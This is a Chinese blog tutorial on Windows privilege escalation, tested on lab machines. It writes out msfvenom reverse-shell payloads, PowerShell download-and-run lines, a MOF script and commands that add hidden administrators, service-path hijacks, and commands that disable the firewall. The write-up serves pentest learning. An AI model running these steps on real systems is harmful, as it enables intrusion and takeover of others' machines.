目录
为什么提权
- 读取/写入敏感文件
- 重新启动之后权限维持
- 插入永久后门
Windows提权的常见方法
- 内核漏洞
- 错误的服务权限配置
- DLL注入
- 始终以高权限安装程序
- 凭证存储
提权的常用命令
- systeminfo | findstr OS #获取系统版本信息
- hostname #获取主机名称
- whoami /all #获取当前用户的详细信息
- whoami /priv #显示当前用户的安全特权
- net start #查看服务
- quser或者query user #获取在线用户
- netstat -ano | findstr 3389 #获取rdp连接来源IP
- dir c:\programdata\ #分析电脑上安装的软件
内核漏洞
思路:使用工具检查出电脑上存在哪些漏洞,然后精准打击。
windows漏洞提权流程:能够执行cmd命令 –> 是否打补丁 –> 补丁对应exp –> 获取服务器权限
Vulmap【windows😑linux😏】
使用Vulmap,一个开源的在线本地漏洞扫描工具,项目地址:https://github.com/vulmon/vulmap/
这是一个Powshell脚本,从 Vulmon 获取实时漏洞数据,而不是依赖本地漏洞数据库。因此,即使是最新的漏洞也可以通过此方法检测到。在windows上的体验不好,linux还不错。
说它在windows上难用,是这样的,假设你是通过WEB进来了,你拿到的一般是个CMD窗口,而不是powshell,就算能拿到powshell,可能会像下面的虚拟机那样,运行失败,就,有点稀烂。
尝试在虚拟机上运行失败了
在物理主机上,运行结果如下:
有点意思,他检查出我的IDM和steam有漏洞,看了一眼评分9.3的IDM漏洞,如下,厂商也没修复,绝了。
wesng
项目地址:https://github.com/bitsadmin/wesng
WES-NG(Windows ExploitSuggester – Next Generation),可以给用户提供目标操作系统可能存在的漏洞列表,并针对这些漏洞给出漏洞利用实施建议。该工具的适用系统范围从Windows XP到Windows 10,还包括Windows Server等服务器/工作站版本。
使用方法就是先升级漏洞库,然后会下载下来一个名为“definitions.zip”的压缩包(我升级失败了,手动下载的这个压缩包),之后把systeminfo的信息和这个压缩包里面的内容做对比,找出漏洞。但是windows版本众多,各种语言的各种版本,还有盗版的,精简的……所以最终结果仅供参考。
使用优势,只需要获取到对方的systeminfo信息即可。
- 执行下列命令获取最新的漏洞数据库:
wes.py --update
升级失败,无妨,画红线的地方,是我们要拿的东西,脚本下载失败,那就挂代理手动下载
https://raw.githubusercontent.com/bitsadmin/wesng/master/definitions.zip
- 获取systeminfo文件,然后开打
- 拿到名为result.csv的文件,漏洞还挺多的,有点不真实了
WindowsVulnScan(国)
WindowsVulnScan:一款基于主机的漏洞扫描工具,采用多线程确保可以快速的请求数据,采用线程锁可以在向sqlite数据库中写入数据避免database is locked的错误,采用md5哈希算法确保数据不重复插入。
项目地址:https://github.com/chroblert/WindowsVulnScan
本工具查找是否有公开exp的网站为shodan,该网站限制网络发包的速度,因而采用了单线程的方式,且耗时较长
使用优势,只需要获取到对方的systeminfo信息即可。只不过需要对结果略做处理。
功能:
- 查找主机上具有的CVE
- 查找具有公开EXP的CVE
原理:
- 搜集CVE与KB的对应关系。首先在微软官网上收集CVE与KB对应的关系,然后存储进数据库中
- 查找特定CVE网上是否有公开的EXP
- 利用powershell脚本收集主机的一些系统版本与KB信息
- 利用系统版本与KB信息搜寻主机上具有存在公开EXP的CVE
参数:
# author: JC0o0l
# GitHub: https://github.com/chroblert/
可选参数:
-h, --help show this help message and exit
-u, --update-cve 更新CVEKB数据
-U, --update-exp 更新CVEEXP数据
-m MODE, --mode MODE 搭配-U使用。更新模式 All:更新所有;Empty:只更新空白的;Error:只更新之前未成功更新的
-C, --check-EXP 检索具有EXP的CVE
-n PRODUCTNAME, --productName PRODUCTNAME
搭配-C使用。自定义产品名称,如Windows 10
-N PRODUCTVERSION, --productVersion PRODUCTVERSION
搭配-C使用。自定义产品版本,如20H2
-f FILE, --file FILE ps1脚本运行后产生的.json文件
使用方法:
- 首先运行powershell脚本
KBCollect.ps
收集一些信息
将运行后产生的KB.json
文件移动到cve-check.py
所在的目录
其实,KB.json
就是经过简单处理的systeminfo信息
- 安装一些python3模块
python3 -m pip install requirements.txt
- 运行
cve-check.py -u
创建CVEKB数据库
- 运行
cve-check.py -U
更新CVEKB数据库中的hasPOC
字段
此处可以使用-m选择更新模式。
-m All:更新所有
-m Empty:只更新hasPOC字段为空的
-m Error:只更新hasPOC字段为Error的
- 运行
cve-check.py -C -f KB.json
查看具有公开EXP的CVE,如下:
很无语,快折腾一下午了,笔记才写到这,各种稀奇古怪的问题,再次核查一下,发现网上说False是正常的,(第一次更新的话,时间会很长,1-2小时内)
知道缺失的cve之后,可以去msf里面搜索,或者github搜索,然后就是漏洞利用了
(1)获取一台win2012的VPS上的systeminfo信息,看看会怎么样
(2)获取我物理机上的systeminfo信息,看看会怎么样
在线
使用http://blog.neargle.com/win-powerup-exp-index/
把systeminfo的信息粘贴进去,就可以获取到相关利用EXP。
查询可写目录或文件
有些时候,服务器可能会限制cmd的权限,或者限制 wscript.shell,都会影响提权。
罗嗦一下,法务论坛的后门有点瑕疵,在低版本的浏览器上可以正常使用,在较新的浏览器上会出现颜色异常,如下:
解决办法也很简单,使用Dark Reader插件,把浏览器调成夜色模式即可。
在确定可以执行cmd命令时,有些服务器会对目录进行权限设置,导致 iis_user 用户组没有权限对常见的目录进行写入和读取,这时可以用脚本对目录进行扫描,得到可写目录,之后上传或下载提权exp或替换文件进行利用。常见的脚本有 wt.asp、wt.aspx,红色表示文件可替换,蓝色表示目录可写。
目录扫描
net版本的 wt.aspx,因为net的权限比 asp大,而且能访问注册表,所以除了常规扫描目录之外,还会读取注册表软件目录进行目录扫描。
- 直接访问wt.aspx,它会自动开始检查
- 直接访问wt.asp的文件地址,显示界面如下,默认只检测如下3个目录及其子目录。
上传cmd
假设靶机的cmd不让用,那就尝试上传一个cmd上去。
- wt.asp的第一个扫描结果是
c:\windows\debug\WIA\
,就拿他试试 - 大马访问,转到相关路径。
- 我没有别的cmd,直接上传我电脑自带的cmd吧。C:\Windows\system32\cmd.exe
- cmd上传成功
- 使用自己上传的cmd,结果凉皮了,提示缺少对象
- 上网下载一个cmd,重新来一遍
把提供附件的后缀,由PDF改为exe即可。Cmd.PDF
本地提权
使用下面的命令,优势在于简单方便
at提权(旧系统)
针对win7之前的系统,就是使用at来计划执行任务,一旦执行,任务将是以system权限运行
at 17:27 /interactive cmd.exe
SC提权(旧系统)
SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”,据说是win7和win2008、win2003都可以用
sc Create syscmd binPath= "cmd /K start" type= own type= interact
sc start syscmd
win2003
win7
点一下那个箭头指向的东西
win2008
跟上面的win7情况一样
win2012失败
PSTools
微软官方的一个工具:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
PSTools工具是Sysinternal推出的一个Windows服务器远程管理工具包,由:
- PsExec(远程运行程序)
- PsFile(显示远程打开的文件)
- PsGetSid(显示计算机或用户的SID)
- PsKill(结束指定进行)
- PsList(显示进行)
- PsService(查看、启用/禁用服务)
等多个工具组成,每个工具都有32位版和64位版的,无需安装,也不用在远程计算机上安装客户端,非常使用,官方说PSTools支持Windows NT/2000,没有说支持不支持更高版本的系统,据说,PSTools里面的工具在WinXP/2003/7/2008/8/8.1甚至Win10系统上都可以正常使用。
这里,我们只要PsExec.exe或者PsExec64.exe即可
psexec.exe -accepteula -s -i -d notepad.exe
psexec.exe -accepteula -s -i -d cmd.exe
在win2012上面成功执行
系统漏洞提权
常用的漏洞有以下这些
CVE-2016-3225(MS16-075)
使用内部靶场 12server7 进行测试。
漏洞描述
Microsoft服务器消息块(SMB)中存在特权提升漏洞。本地攻击者可通过转发适用于在同一计算机上运行的其他服务的身份验证请求,利用该漏洞使用提升的特权执行任意代码。
以下版本受到影响:Microsoft Windows Vista SP2,Windows Server 2008 SP2和R2 SP1,Windows 7 SP1,Windows 8.1,Windows Server 2012 Gold和R2,Windows RT 8.1,Windows 10 Gold和1511。
更详细描述参见:https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2016/ms16-075
漏洞复现
利用思路:通过EXP进行提权,然后添加一个用户至管理员组,如果目标开启了远程桌面,就尝试进行登录
EXP地址:https://github.com/itm4n/PrintSpoofer
- 上传EXP
来到大马的文件管理,选择可上传文件的路径C:\windows\debug\WIA\
,上传提权EXP
可以先看一下软件使用方法
- 提权
/c C:\windows\debug\WIA\PrintSpoofer64.exe -i -c "whoami"
再来看一下我本身的权限
- 添加用户,默认是用户组
- 把添加的用户加入到管理员组
- 尝试通过3389端口连接目标
发现目标开了3389端口
漏洞修复
升级系统版本
CVE-2014-4113 (MS14-058)
使用内部靶场 08serverR2-1 进行测试
漏洞描述
Microsoft Windows是美国微软(Microsoft)公司发布的一系列操作系统。win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后台控制窗口和屏幕输出管理等。
如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。
影响范围:该漏洞影响所有Windows x64,包括Windows 7 和 Windows Server 2008 R2 及以下版本。
漏洞复现
首先判断能不能执行cmd,如果不能,就需要上传一个cmd。如果需要上传一个cmd,就需要判断哪些目录是可读写的。我这里已经准备好了一个cmd
显示效果怪怪的,是浏览器版本偏高导致的,在靶机上使用浏览器可以正常查看
- 测试cmd
测试了自己上传的cmd,可以正常运行
- 运行exp
CVE-2014-4113-Exploit.pdf
后缀改为rar解压接口。在网上找了随便找了一个,好像有点问题,无法在我的cmd下运行
换用系统自带的cmd可以正常运行
接下来就是增加用户,连3389了,同上。
CVE-2020-0787
漏洞描述
当Windows Background Intelligent Transfer Service (BITS)未能正确地处理符号链接时,存在权限提升漏洞。成功利用此漏洞的攻击者可以覆盖导致提升状态的目标文件。要利用此漏洞,攻击者首先必须登录到系统。然后,攻击者可以运行巧尽心思构建的应用程序,利用此漏洞并控制受影响的系统。
漏洞复现
下载EXP:https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases
假设你是一个普通用户,在cmd下运行此工具,它会弹出一个具有管理员权限的cmd窗口。把自己加入到管理员组即可。
- 发现自己是个普通用户
- 把exp拖到cmd中,直接回车
弹出一个新的窗口,权限是管理员
MSF提权
思路:msfvenom生成后门来连接msf,查找目标有哪些可利用的漏洞,然后进行提权
- 生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.239.141 lport=4444 -f exe >s.exe
- 上传木马
- msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.239.141
set lport 4444
exploit
- 运行木马, 获取meterpreter
发现当前账号权限较低。 需要进行提权。
- 查询补丁安装信息(可选)
run post/windows/gather/enum_patches
- 获取提权EXP
use post/multi/recon/local_exploit_suggester
set session 2
exploit
- 提权
在上图中的多个exp中随意选择,不一定哪个能用哪个不能用
search ms16_075
use 1
set session 2
exploit
- 权限维持
迁移进程
令牌窃取
令牌(Token)
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
令牌有很多种:
访问令牌(Access Token):表示访问控制操作主体的系统对象
会话令牌(Session Token):是交互会话中唯一的身份标识符。
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾
以上内容可以忽略不看,实操也非常简单,就3步
说人话就是:令牌窃取是一种可以权限提升的技术,适用的操作系统版本如下
- Microsoft Windows XP Professional SP3和之前版本Windows Server 2003 SP2和之前的版本
- Windows Server 2003 x64和x64 SP2
- Windows Server 2003(用于基于Itanium的系统SP2和先前版本)
- Windows Server 2008 x32 x64
- Windows Server 2008(用于基于Itanium的系统)
- Windows Vista SP1和之前的版本
- Windows Vista x64 SP1和之前的版本
MSF伪造令牌实战
假设我们现在已经获得了目标主机的权限,但是通过 getsystem 和其他方式提权失败。
use incognito #进入incognito模块
list_tokens -u #列出令牌
impersonate_token "NT AUTHORITY\SYSTEM" # 选择要窃取的账号
令牌的数据取决于当前获取权限的高低。实测的时候,发现和普通用户建立的会话,拿到的令牌列表没有system,甚至administrator。
烂土豆提权
所谓的烂土豆提权就是俗称的MS16-075,可以将权限提升到“NT AUTHORITY \ SYSTEM”
原理
- 欺骗“NT AUTHORITY \ SYSTEM”账户通过NTLM认证到我们控制的TCP终端
- 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY \ SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的 Windows api调用实现的。
- 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、 MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
所以,一般从web拿到的 welshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,发现使用已经建好的账户(就是上面说的用户级账户)去反弹 meterpreter然后再去执行EXP的时候会失败,但使用菜刀(IIS服务器权限)反弹 meterpreter就会成功。
总之,我对这个的理解是iis账户,权限太低,不能通过令牌窃取,列出系统账号进行提权,所以需要烂土豆,然后就可以列出系统账号,获取system权限
烂土豆比热土豆的优点是
- 100%可靠
- 通杀程度高
- 立即生效,,用像 hot potato那样有时候需要等 Windows更新才能使用
限制条件
- 需要支持SeImpersonate或者SeAssignPrimaryToken权限
- 开启DCOM
- 本地支持RPC或者远程服务器支持PRC并能成功登录
- 能够找到可用的COM对象
更多细节,参见烂土豆JUICYPOTATO提权原理和利用
案例
条件有限,下面的案例来自网络
- 使用的是凝聚科技的webshell,可以去github上搜一下,能出来
- 上传webshell,查看到自己是iis权限
- msf生成后门,使用大马上传,并运行后门
- 直接使用msf提权失败。失败原因很简单,自己权限太低,不足以通过令牌窃取提权
- 下载烂土豆exp
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
- 使用烂土豆+令牌窃取提权
系统服务权限配置错误
原理
windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。
windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。
利用工具1:PowerUp
PowerUp是Privesc模块下的一个脚本,功能相当强大,拥有很多可以用来寻找目标主机Windows服务漏洞进行提权的实用脚本。项目地址:https://github.com/HarmJ0y/PowerUp,要用到的是其中的 PowerUp.ps1 文件。
缺点:工具很久没有更新了,并且显示效果不大好。
在webshell上面执行如下命令来远程下载PowerUp.ps1
,测试结果如下图:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.239.132/PowerUp.ps1'); Invoke-AllChecks"
利用工具2:PrivescCheck
这个工具比 PowerUp 显示的内容更加详细。项目地址:https://github.com/itm4n/PrivescCheck.git
在webshell上面执行如下命令来远程下载PrivescCheck.ps1
,测试结果如下图:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.239.132/PrivescCheck.ps1'); Invoke-PrivescCheck"
搜索 NT AUTHORITY\SERVICE
,发现有一个叫 UsoSvc
的服务里面有它,用户是本地system。
NT AUTHORITY\SERVICE
拥有本机计算机的最小的权限,并且在网络中扮演一个计算机的角色,该账户没有密码
接下来的思路就是生成一个木马并上传到目标系统上面,然后告诉UsoSvc,你运行的时候,要运行这个木马文件。
- 查看UsoSvc的运行状态:
sc query UsoSvc
- 停止运行UsoSvc:
sc stop UsoSvc
- 启动UsoSvc:
sc start UsoSvc
获取meterpreter
木马的准备与msf的监听,参见文章前面介绍的 MSF提权,此处不再赘述
- 木马投递,来到
C:\ProgramData\
目录下,上传木马。木马的文件路径:C:\ProgramData\s.exe
- 确认服务已经停止
- 设置 UsoSvc 的bin文件路径为木马的路径:
sc config usosvc binPath= "C:\ProgramData\s.exe"
注意: 等于号后面是有一个空格的
- 启动 UsoSvc 服务
虽然连接上了,但是当windows启动服务失败时,连接就会断开。因此需要设置进程迁移。
- 设置msf做自动进程迁移
有session过来的话,会自动做进程迁移set AutoRunScript migrate -f
利用工具3:MSF
获取到一个低权限的sesion,然后查看目标系统有没有可利用的错误配置
- 木马的准备与msf的监听,参见文章前面介绍的 MSF提权,此处不再赘述
通过命令执行的方式,直接运行木马,获取到一个低权限的session
- Metasploit中的攻击模块:
exploit/windows/local/service_permissions
service_permissions模块会使用两种方式获取system权限,如果以管理员权限运行,会尝试创建并运行一个新的服务;如果当前权限不允许创建服务,会判断哪些服务的文件或文件夹的权限有问题,并对其进行劫持,在劫持服务时会创建一个可执行程序,其文件名和安装路径都是随机的。
发现只需要设置一下session就行了。
经过大量测试之后,权限提升为system。
DLL注入
原理
Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
Windows查找DLL目录及其顺序如下:
应用程序加载的目录
C:\Windows\System32
C:\Windows\System
C:\Windows
当前工作目录Current Working Directory,CWD
在PATH环境变量的目录(先系统后用户)
这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll先于系统dll加载,而系统dll是非常常见的,所以当时基于这样的加载顺序,出现了大量受影响软件。
详细文章介绍:https://www.anquanke.com/post/id/225911
利用条件
这种技术,很鸡肋。
要满足一下条件才能成功:
- 这个软件,可以被利用
- 你可以替换dll文件
- 受害者会运行与这个dll文件相关的软件
实操
通过webshell进行信息收集,制作dll木马并上传,替换dll,启动应用后成功
- 这里呢,使用火绒剑获取FlashFXP程序的相关dll,然后就可以退出FlashFXP了
- 使用msf生成恶意dll
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.239.141 lport=4444 -f dll >./hack.dll
- 重命名恶意dll文件,并替换原文件
- msf开启监听
- 运行FlashFXP,msf拿到会话
令牌窃取提权
失败的实操
在“利用条件”中提到,软件需要可以被利用才行,什么意思呢?替换dll会导致软件不能正常运行,
有的软件虽然不能正常运行,但是可以反弹shell,上面的实验,就是这种
但有的软件是直接凉凉,没有反弹shell,而是报错,如下:
- 找出phpstudy的相关dll
- msf生成恶意dll文件,并替换掉phpstudy的相关dll,结果phpstudy报错,msf拿不到会话。
不带引号的服务路径-提权
说人话,就是,要找出满足如下条件的路径:
- 路径中有空格
- 路径没有用双引号包住
- 可以写入文件到此路径下
原理
在windows中存在这样一个情况,如果1个路径,或者文件中存在空格,需要将其使用双引号括住,才能正确被系统识别出来。如下
第1个命令没有用双引号括住,导致系统误认为C:\Program
是个程序,Files (x86)
是参数,从而出现了异常,不过,说来好笑的是,上面的操作是在powshell发生了异常,但是在cmd中,是不会报错的
攻击思路就是,找出服务中,既存在空格路径,还没有用双引号括住的路径。然后制造误会,让服务启动错误的程序,即可拿到system的shell
找出不安全的服务
在cmd中执行如下命令,即可获取到服务中,存在空格的,可能不安全的服务。
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
可以看到,我这里存在一个不安全的服务,是关于vpn的。所以,接下来就是msf生成名为Program.exe
的后门文件,放在c盘根目录下即可。启动服务的时候,为什么能发生攻击呢?路径没有包含在引号中,服务会按照以下顺序依次执行
c:\program.exe
c:\program files.exe
c:\program files (x86)\grasssoft\macro.exe
c:\program files (x86)\grasssoft\macro expert\MacroService.exe
实操
- 生成名为
Program.exe
的木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.239.141 lport=4444 -f exe >./Program.exe
- 将木马丢到受害者的C盘根目录下面
- msf开启监听
- 找到相关服务
发现程序正在运行,那怎么行,重启服务(视权限而定,不能重启服务就等重启电脑)
- 重启服务
- 拿到会话
最后,服务是无法启动的,因为电脑已经找不到正确的程序了,它会报错
等它报错的时候,会话就会断开,所以,实战中需要上传别的后门,快速进行权限维持,或者使用上面介绍的进程迁移方式也行。
注册表AlwaysInstallElevated提权
描述
允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NT Authority\System权限来安装恶意的MSI文件。 windows install是windows操作系统的组件之一,专门用来管理配置软件服务。它除了是一个安装程序,还用于管理软件的安装、组件的添加、删除、监视文件的还原、通过回滚进行灾难恢复。windows install通过msiexec.exe安装MSI文件,双击MSI文件就会运行msiexec.exe。 原理:是因为用户打开了windows installer 特权安装功能。
说人话就是,借助某个软件,以低权限的身份,在目标上创建了一个高权限用户
另外,这种漏洞极少会碰到!
漏洞复现
运行 gpedit.msc
打开组策略编辑器
也可以使用命令行修改注册表
reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
Reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
- 在webshell中执行如下命令.
使用PowerUp检测注册表是否有设置,如果返回 true 证明可以利用
(PowerUp.ps1参见上文** 利用工具1:PowerUp**)
/c PowerShell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.239.132/PowerUp.ps1'); Get-RegAlwaysInstallElevated
- 上传 COMahawk64.exe 执行即可获取一个高权限用户
COMahawk64.pdf(后缀改为exe即可)
漏洞修复
禁用注册表键AlwaysInstallElevated。
第三方提权
除了系统自带的服务外 ,安装第三方的软件例如 mysql、sqlserver、ftp等应用软件,如果权限设置不对,会对服务器造成安全隐患,从而导致服务器被提权。
sqlserver提权
描述
如果网站里面使用的数据库是 sqlserver,那么如果找到sa的密码,利用提权脚本提权。但是不一定能得到系统权限,还要看管理员的权限设置。 一般情况提权得到的是system权限或者pulic权限,均能执行命令。
敏感文件
web.config
config.asp
conn.aspx
database.aspx
复现
这里假设已经通过敏感文件得到了数据库的密码。
- 连接数据库
- 开启xp_cmdshell
Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
点击“Query”按钮,执行命令
- 尝试命令执行
- 查看权限
查看当前用户是一个普通用户,可以执行一些基础的命令。可以上传溢出提权工具,来提高当前用户的权限。
mysql提权
描述
在 mysql 中可以使用自定义函数(udf = user defined function)进行提权,自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便。
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下才能创建自定义函数。
注意事项
- secure_file_priv文件
在之前的文章 SQL注入 中提到过 secure_file_priv,只有这个参数后面什么都没有的时候,才行。否则,如下图:
- plugin子目录
一般来说,mysql数据库里面是没有plugin这个文件夹的。如果没有,直接gg。
- 可以使用语句查询plugin插件目录
SHOW VARIABLES LIKE "%plugin%"
复现
- 在网站上寻找 mysql 服务的连接账号和密码,上传提权脚本到网站目录
- 填写mysql的账号和密码后,导出udf
然后,靶机上会多一个文件
- 试着执行如下命令
- 接下来的思路就是创建一个隐藏用户,然后登录目标的3389远程桌面
用户创建成功
远程桌面开放
mof提权
描述
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
复现
公开的nullevt.mof利用代码
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
- 配置一下程序
mof文件夹需要添加everyone权限
- 连接
- 添加用户
net.exe user moonteam$ xxx12456 /add && net localgroup administrators moonteam$ /add
- 用户添加成功
G6 FTP 提权
流程:
- 确认目标有G6 FTP之后,找出其账号密码
- 上传lcx流量转发工具方便本地的G6能连接目标
- 连接之后,创建一个新用户
- 使用新用户的身份,借助启动项提权
描述
G6 FTP Server 新一代的 FTP 服务器端软件,支持 RFC-959 标准并增强其中的某些功能,上传和下载都可以续传,实时查看运行状态,占用带宽,还有很多功能。
原理
G6 FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,所以无法从外部直接访问,需要进行端口转发(使用lcx 工具)
查看到G6 ftp端口
复现
- 获取G6 ftp的账号密码
在webshell访问配置文件 C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini
- md5解密获取密码
- 上传lcx
流量转发
/c C:\inetpub\wwwroot\lcx.exe -tran 2333 127.0.0.1 8021
- 确认lcx运行
新打开一个标签页访问webshell地址,查看一下开放的端口
- 本地G6 连接目标的G6
本机安装一下G6,新建一个连接
- 点开 users,鼠标右键新建一个用户
汉化了一下,看着舒服一些
- 添加一个site命令
目标是win2008,可能会失败
- 访问权限给全
- 物理机使用asuka用户直接访问ftp
命令行失败
图形化访问
接下来的思路就是使用上文介绍的 “系统服务权限配置错误 之 利用工具3:MSF”
- 生成后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.239.141 lport=4444 -f exe >Program.exe
- msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.239.141
set lport 4444
exploit
- ftp上传后门,并重启靶机
来到路径:
ftp://192.168.239.165/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/
绕过uac
描述
UAC(UserAccount Control,用户账户控制),是在Vista及更高版本的windows系统中通过弹框进一步让用户确认是否授权当前可执行文件,来达到阻止恶意程序的目的。
为了远程执行目标exe或者bat文件,就需要绕过此安全机制,以此叫BypassUAC(不弹窗直接运行执行文件)
复现
kali生成个木马让靶机win10运行,以此先来获取一个session。此时的权限无法做一些敏感操作
- 搜索uac相关模块
一般情况下使用use exploit/windows/local/bypassuac
- 攻击失败,换用别的bypassUAC试试
使用:exploit/windows/local/bypassuac_injection
虽然是system权限,但是不能hashdump,说明权限不到位。
发现目标是64位的,我们注入的是32位的,这个时候迁移到64位的进程里面就好了
不一定迁移到哪个64位的进程里面才行,需要试试
远程终端问题集锦
提权问题经常伴随着远程桌面,这里请参见 潇湘信安 的笔记:查询和开启3389端口方式总结
额外的一些补充:
注册表查询端口号
方法1:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\
查看PortNumber字段的值是3389,说明开启了远程桌面
方法2:
下面的两条命令都能查询到PortNumber的字段的值是0xd3d
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /s
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
查看0x3d这个值是多少,发现是3389.
set /a Port=0xd3d
通过网络命令查询端口
方法1:
tasklist /svc | findstr "TermService"
netstat -ano | findstr "进程号"
方法2:
net start |find "Remote Desktop Services"
运行的服务中,有远程桌面的服务
关闭防火墙
确定了目标开启了3389还是连接不上的话,可能是目标防火墙在干扰。可以尝试使用lcx做隧道处理,或者关闭防火墙。
netsh advfirewall show allprofile state 查询状态
netsh advfirewall set allprofiles state off 关闭防火墙
net stop “Windows Firewall” 关闭防火墙
sc config sharedaccess start= disabled 禁用防火墙
net stop sharedaccess 关闭防火墙
关闭 ipsec
在关闭防火墙时,还是连接不上,可能是ipsec做了ip策略处理,导致连接失败。
可以使用命令 net stop "IPsec Policy Agent"
终端连接错误方法
目标选择了下图中的策略
物理机器连接失败
可以使用相同版本的终端进行连接,或者使用 xfreerdp连接会自动加密
- 换用相同版本的终端(使用win2012)
- 使用xfreerdp
加入远程桌面组
net localgroup "Remote Desktop Users" asuka /add
终端超出最大连接数
终端超出最大连接数时可用下面的命令来连接
mstsc /v:ip:3389 /console
参考
红队测试之Windows提权小结
Windows令牌窃取提权
【提权】Postgre&令牌窃取&进程注入
烂土豆JUICYPOTATO提权原理和利用
Windows提权笔记
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134270.html